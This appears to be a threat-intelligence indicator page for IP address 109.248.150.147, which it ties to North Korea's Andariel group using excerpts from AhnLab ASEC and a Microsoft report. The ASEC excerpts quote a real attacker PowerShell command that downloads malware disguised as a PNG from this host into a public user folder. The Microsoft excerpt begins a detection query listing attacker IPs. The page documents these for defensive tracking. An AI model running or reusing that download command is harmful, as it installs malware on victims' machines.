109.248.150.147
109.248.150.147 is an IP address
that 3 published sources report
in connection with Andariel and unclustered DPRK activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from AhnLab ASEC and Microsoft.
The earliest of those reports is dated 2023-11-09 and the most recent 2024-07-25.
ip address AndarielDPRK (cluster unattributed) MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | SIA RixHost |
| Announced by | AS203557 SIA RixHost |
| Country | The Netherlands |
| Flags | hosting range |
Sources
-
…자산 관리 프로그램을 이용하여 악성코드 다운로드 파워쉘 명령 : wget http://109.248.150.147:8585/load.png -outfile C:\Users\public\credis.exe Andariel 그룹은 파워쉘 외에도 mshta.exe 프로세스를 이용해 악성코드를 다운로드하기도 하였다.…
자산 관리 프로그램을 악용한 공격 정황 포착 (Andariel 그룹) - ASEC — AhnLab ASEC -
…Malware downloaded using an asset management program PowerShell command : wget http://109.248.150.147:8585/load.png -outfile C:\Users\public\credis.exe Besides PowerShell, the Andariel group also used the mshta.exe process to download…
Circumstances of an Attack Exploiting an Asset Management Program (Andariel Group) - ASEC — AhnLab ASEC -
…Use this query to detect associated network IOCs: let remoteip = dynamic(["84.38.134.56","45.155.37.101","213.139.205.151","109.248.150.147","162.19.71.175","147.78.149.201"]); let remoteurl =…
Onyx Sleet uses array of malware to gather intelligence for North Korea — Microsoft
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.